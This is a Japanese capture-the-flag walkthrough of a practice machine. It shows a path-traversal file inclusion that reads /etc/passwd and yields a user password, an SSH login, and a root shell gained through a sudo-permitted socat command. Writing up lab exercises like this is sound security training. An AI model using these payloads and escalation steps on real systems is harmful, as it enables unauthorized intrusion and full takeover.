一部を■で隠しています。
第一段階:User Flagを得る
ポートスキャンとHTTPのスキャンをしてみよう。
$ export IP=[your IP] $ nmap -sC -sV $IP 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Werkzeug httpd 0.16.0 (Python 3.6.9) $ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt (N/A)
ポート80のサイトを見てみようか。
ポート80
サイトを巡回すると、すぐ/article?name=lfiattack
がすでにアウトというか、ここでLFIできます状態になっている。
書いてある通り/article?name=../../../../etc/passwd
を試すと、たくさんでてくる。
root:x:0:0:root:/root:/bin/bash ... pollinate:x:109:1::/var/cache/pollinate:/bin/false falconfeast:x:1000:1000:falconfeast,,,:/home/falconfeast:/bin/bash #falconfeast:■■■■■■ sshd:x:110:65534::/run/sshd:/usr/sbin/nologin mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false
コメントでパスワードで書かれていた。これでログインしてみよう。
$ ssh falconfeast@$IP falconfeast@inclusion:~$ ls articles user.txt falconfeast@inclusion:~$ cat user.txt ■■■■■■■■■
よし。とりあえずユーザーフラグは手に入った。
第二段階:権限昇格
SUDOによる権限昇格を試してみよう。
falconfeast@inclusion:~$ sudo -l Matching Defaults entries for falconfeast on inclusion: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User falconfeast may run the following commands on inclusion: (root) NOPASSWD: /usr/bin/socat
ふむ。GTFOBinsで探してみよう。
ありますね。これは使える。
falconfeast@inclusion:~$ sudo socat stdin exec:/bin/sh id uid=0(root) gid=0(root) groups=0(root) cd /root ls -la -rw-r--r-- 1 root root 21 Jan 22 2020 root.txt cat root.txt ■■■■■■■■■■■
これでクリア。